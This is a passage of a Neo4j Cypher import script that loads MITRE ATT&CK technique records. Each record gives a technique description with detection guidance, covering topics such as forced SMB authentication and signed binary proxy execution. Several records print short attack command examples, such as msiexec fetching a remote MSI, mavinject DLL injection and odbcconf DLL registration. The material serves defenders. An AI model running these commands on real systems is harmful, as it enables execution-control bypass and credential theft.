process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Credentials from Web Browsers", modified:"2019-07-10T20:57:36.851Z", kill_chain_phases:["47494d73-72bc-4ef5-8691-ebbf584f9b12"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", external_references:["15626e51-4fef-440f-b7ac-155a18f20dfb", "b77ec441-b2c6-4b0c-b773-3f87bc4e21ac", "14c99cf7-cb34-4c80-9d9c-37ff200425cc", "f0e18a11-73bb-4c66-b5ed-037fcd6d3e7c", "0aeeed5f-7613-4556-a3da-349f70f33da8", "2fce178d-eb29-4bb6-9f39-d297ff347876"]}}, {_id:301, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Binary file metadata\",\"DLL monitoring\",\"Windows Registry\",\"Windows event logs\",\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_defense_bypassed\":[\"Application whitelisting\",\"Process whitelisting\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\\n\\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\\n\\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\ControlPanel\\\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\\\CLSID\\\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\\\"c:\\\\windows\\\\system32\\\\control.exe {Canonical_Name}\\\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL)\\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Controls Folder\\\\{name}\\\\Shellex\\\\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\\n\\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\"],\"x_mitre_remote_support\":false}", description:"Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Control Panel Items", modified:"2019-07-16T21:10:28.299Z", kill_chain_phases:["072fc649-41b0-4702-9109-1e63e8ed386a", "d44b0a0f-bf36-4273-a092-ead1eac8893c"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", external_references:["fa55b89c-a177-4319-a644-38618b400294", "d60a400d-ec49-4d16-a750-6021989f3f81", "0bdb4165-7014-409a-bac7-248803a45ca2", "3d41cd1a-b427-49a6-8cdb-6b0f5b8fab69", "0e4b323d-cc71-4e40-b177-b67bdc38d842"]}}, {_id:666, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:17.915Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process command-line parameters\",\"Binary file metadata\"],\"x_mitre_defense_bypassed\":[\"Host forensic analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\",\"x_mitre_contributors\":[\"Walker Johnson\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"File Deletion", modified:"2019-07-17T21:18:43.664Z", kill_chain_phases:["a0e7e23e-b3af-4002-a02b-831a396536e1"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", external_references:["430e7ebd-18c3-469e-817a-ff6f9e39c4df", "4e221b60-d071-4620-bac9-8ca4a1bc225b"]}}, {_id:670, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:20.934Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\"],\"x_mitre_defense_bypassed\":[\"File monitoring\",\"File system access controls\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\\n\\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended.\",\"x_mitre_permissions_required\":[\"Administrator\"]}", description:"Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"File System Logical Offsets", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:["ab020ab4-0dea-4f14-9561-a9ace2944eeb"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", external_references:["402dc622-6d63-43a9-bcbe-edb047703a04", "3e476dc3-fb78-4682-9bbf-df0165ebb121", "6d7f264a-8f35-42f5-9e21-4dcf512adad1"]}}, {_id:675, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:43.063Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_effective_permissions\":[\"SYSTEM\",\"User\",\"Administrator\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Services\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n\\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\",\"x_mitre_contributors\":[\"Stefan Kanthak\",\"Travis Smith, Tripwire\"],\"x_mitre_permissions_required\":[\"Administrator\",\"User\"]}", description:"Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"File System Permissions Weakness", modified:"2019-07-17T21:22:37.100Z", kill_chain_phases:["c5878550-a1e7-4f59-a99d-a096c9f640ff", "d709c4cd-5af8-4531-8f48-bbd364d11f5e"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", external_references:["2c4a5746-df76-4b73-a21b-109a25f7c4bd", "0fae268b-7238-4060-9519-fd7c0c64d36d", "4618c8dc-7af4-40ac-8e66-9f92c13a85ed", "8bdd748e-6cd0-4b94-aaa0-200916e2867d"]}}, {_id:686, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\",\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"File system access controls\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"Monitor and investigate attempts to modify DACLs and file/directory ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014)\",\"x_mitre_contributors\":[\"CrowdStrike Falcon OverWatch\",\"Jan Miller, CrowdStrike\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\",\"root\"]}", description:"File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)\n\nAdversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"File and Directory Permissions Modification", modified:"2019-07-09T15:01:23.290Z", kill_chain_phases:["815e8166-324c-4f8d-a399-2c50a81313e4"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", external_references:["f9f959da-9a0e-4df2-abd7-07531154f486", "f2e29346-871c-4412-ba72-7a1f4bcb4174", "f17781a7-046c-4d0c-93e6-8c44661e7bbd", "e51eafb2-8c00-4db7-9ef0-131c60d9526d", "51060f2f-f098-4fcb-b82f-412e50debc03", "1903b979-f942-4617-b7c1-b32c4019dce7", "21097c21-cc70-45d9-99d6-85e1a1bd2961", "db6d18ad-7d7a-41bf-b925-e7826cc4d4b4", "d889964d-ae05-4810-84f7-1777e22a1e8d", "c7cec2df-048a-4bcf-93ac-ae8117462694", "98223228-a772-42ca-8ab6-a60483c3af63", "97631459-9695-4c0f-9a68-9f2fc6f07b0d", "707ea26f-40c6-4c32-a01a-e19526bd674a"]}}, {_id:706, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Network protocol analysis\",\"Network device logs\",\"Process use of network\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\\n\\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\",\"x_mitre_contributors\":[\"Teodor Cimpoesu\",\"Sudhanshu Chauhan, @Sudhanshu_C\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Forced Authentication", modified:"2019-09-16T17:15:43.746Z", kill_chain_phases:["9774341a-b2fb-4fe0-a378-aaff938d497c"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", external_references:["488929b3-dbeb-4751-948f-46afe916885a", "8ed8bed3-8070-4299-81f2-7dba3d3eb15a", "33e23594-ba25-45cf-880b-01143e3cfa06", "e35156cd-bfb5-4e12-92af-78e7f6c6c6a2", "79f758ec-5f97-4d67-b38c-4f18f203d26a", "43831020-3e1e-4b2c-a6f4-b212376db2b0", "339fd37a-d800-4acb-a525-d418001841e3", "5e8b125b-e05c-406a-9b0c-e077ed4daeae"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:attack_pattern:SDO;
UNWIND [{_id:1518, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:30.757Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\",\"x_mitre_contributors\":[\"Travis Smith, Tripwire\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Shortcut Modification", modified:"2019-07-18T19:28:08.364Z", kill_chain_phases:["1d0e58ef-8058-4fa3-8699-bb43aa87c1b6"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", external_references:["5dec0165-f561-41f4-9c2b-6ffc79496ac7", "d138f688-f424-44ce-a2b4-b8f9f720af03"]}}, {_id:1522, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Application whitelisting\",\"Digital Certificate Validation\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\",\"x_mitre_contributors\":[\"Nishan Maharjan, @loki248\",\"Hans Christoffer Gaardløs\",\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_remote_support\":false}", description:"Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n### Msiexec.exe\nMsiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec)\n\n* <code>msiexec.exe /q /i \"C:\\path\\to\\file.msi\"</code>\n* <code>msiexec.exe /q /i http[:]//site[.]com/file.msi</code>\n* <code>msiexec.exe /y \"C:\\path\\to\\file.dll\"</code>\n\n### Mavinject.exe\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n* <code>\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" &lt;PID&gt; /INJECTRUNNING &lt;PATH DLL&gt;</code>\n* <code>C:\\Windows\\system32\\mavinject.exe &lt;PID&gt; /INJECTRUNNING &lt;PATH DLL&gt;</code>\n\n### SyncAppvPublishingServer.exe\nSyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\n### Odbcconf.exe\nOdbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)\n\n* <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>\n\nSeveral other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Signed Binary Proxy Execution", modified:"2019-06-24T11:36:15.702Z", kill_chain_phases:["2d30b3d3-b5fa-4f92-9109-3fef003a05f5", "69de231b-53bb-4211-9586-d37b313fa6bd"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", external_references:["f1817e99-355c-4911-a28a-ae370c168c0f", "570c061b-63ca-4f0f-92c2-351266f48741", "ca1d248d-13b9-429b-8426-159e241d983e", "88f6537f-b4ef-4a4a-abc6-f01930f0e596", "81767cfc-08da-403d-b302-20827913e1fc", "15781747-7890-4c78-ac4e-81af4cdb1c31", "09054c9e-8739-4958-a4e8-8a5c1376f198", "54627bcc-c594-42d6-bfa6-c381857605c1", "a1feb352-6989-4e06-b1f7-1d32044b41ff", "09712eea-6c88-4a34-9cb1-09c664099525", "60ce5eaa-6a06-430c-8231-51346307ff73"]}}, {_id:1551, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"File monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\",\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_remote_support\":false}", description:"The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Source", modified:"2019-05-21T13:24:49.196Z", kill_chain_phases:["e74b8a36-3bbe-4ea9-a62e-401c679409cb"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", external_references:["242b039b-134d-4c28-93d2-79ee85df9627", "668a32bb-aaec-4d64-a619-b4a6fa38cb89"]}}, {_id:1561, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_data_sources\":[\"File monitoring\",\"Packet capture\",\"Network intrusion detection system\",\"Detonation chamber\",\"Email gateway\",\"Mail server\"],\"x_mitre_platforms\":[\"Windows\",\"macOS\",\"Linux\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n\\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).\"}", description:"Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Spearphishing Attachment", modified:"2019-06-24T11:14:19.994Z", kill_chain_phases:["f29a2d73-bcd0-4831-8588-0e809048e3ad"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", external_references:["012d104f-f0c6-465a-84c7-24843402803d", "f0256620-e62d-472a-abf5-e31e6933f3b4"]}}, {_id:1570, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_data_sources\":[\"SSL/TLS inspection\",\"Anti-virus\",\"Web proxy\"],\"x_mitre_platforms\":[\"Windows\",\"macOS\",\"Linux\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).\"}", description:"Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The 